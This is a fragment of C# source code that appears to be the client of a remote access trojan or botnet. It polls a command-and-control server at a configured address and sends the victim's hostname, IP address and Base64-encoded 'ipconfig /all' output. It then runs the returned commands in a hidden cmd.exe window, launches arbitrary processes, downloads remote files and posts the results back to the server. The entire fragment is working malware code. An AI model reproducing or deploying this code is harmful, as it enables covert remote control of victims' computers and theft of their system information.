public static String ShellExecute(String Info, Boolean Encrypt) { if (Encrypt) { Info = Cryptos.Base64_Decode(Info); } try { Process.Start(Info); } catch (Exception Ex) { return(Ex.ToString()); } return("执行成功!"); }
public static String Downloader(String Info, Boolean Encrypt) { if (Encrypt) { Info = Cryptos.Base64_Decode(Info); } try { WebClient Client = new WebClient(); Client.DownloadFile(Info, Configs.PATH_DOWNLOAD); } catch (Exception Ex) { Console.WriteLine(Ex); return(Ex.ToString()); } return("执行成功!"); }
public static Boolean FinCommands(String CID, String RES) { String Response = ""; try { NameValueCollection Param = new NameValueCollection();; Param.Add("SEC", Configs.CFG_SEC); Param.Add("ACK", Configs.CFG_ACK); Param.Add("CID", CID); Param.Add("RES", Cryptos.Base64_Encode(RES)); Response = HTTP_POST(Configs.CFG_SH + "/Api/Commands/Fin", Param); } catch (Exception Ex) { Console.WriteLine(Ex); return(false); } return(true); }
public static JSONNode GetCommands() { String Response = ""; try { NameValueCollection Param = new NameValueCollection();; Param.Add("SEC", Configs.CFG_SEC); Param.Add("ACK", Configs.CFG_ACK); Param.Add("SIP", GetSIP()); Param.Add("HOT", Dns.GetHostName()); Param.Add("IPC", Cryptos.Base64_Encode(RunCMD("ipconfig /all", false))); Response = HTTP_POST(Configs.CFG_SH + "/Api/Commands/Get", Param); } catch (Exception Ex) { Console.WriteLine(Ex); Response = "{\"RIP\":\"0.0.0.0\",\"RES\":[]}"; return(JSON.Parse(Response)["RES"]); } return(JSON.Parse(Response)["RES"]); }
public static String RunCMD(String Info, Boolean Encrypt) { if (Encrypt) { Info = Cryptos.Base64_Decode(Info); } Process P = new Process(); P.StartInfo.FileName = "cmd.exe"; P.StartInfo.UseShellExecute = false; P.StartInfo.RedirectStandardInput = true; P.StartInfo.RedirectStandardOutput = true; P.StartInfo.RedirectStandardError = true; P.StartInfo.CreateNoWindow = true; P.Start(); P.StandardInput.WriteLine(Info + " & exit"); P.StandardInput.AutoFlush = true; String Output = P.StandardOutput.ReadToEnd(); P.WaitForExit(); P.Close(); return(Cryptos.GBK2UTF8(Output)); }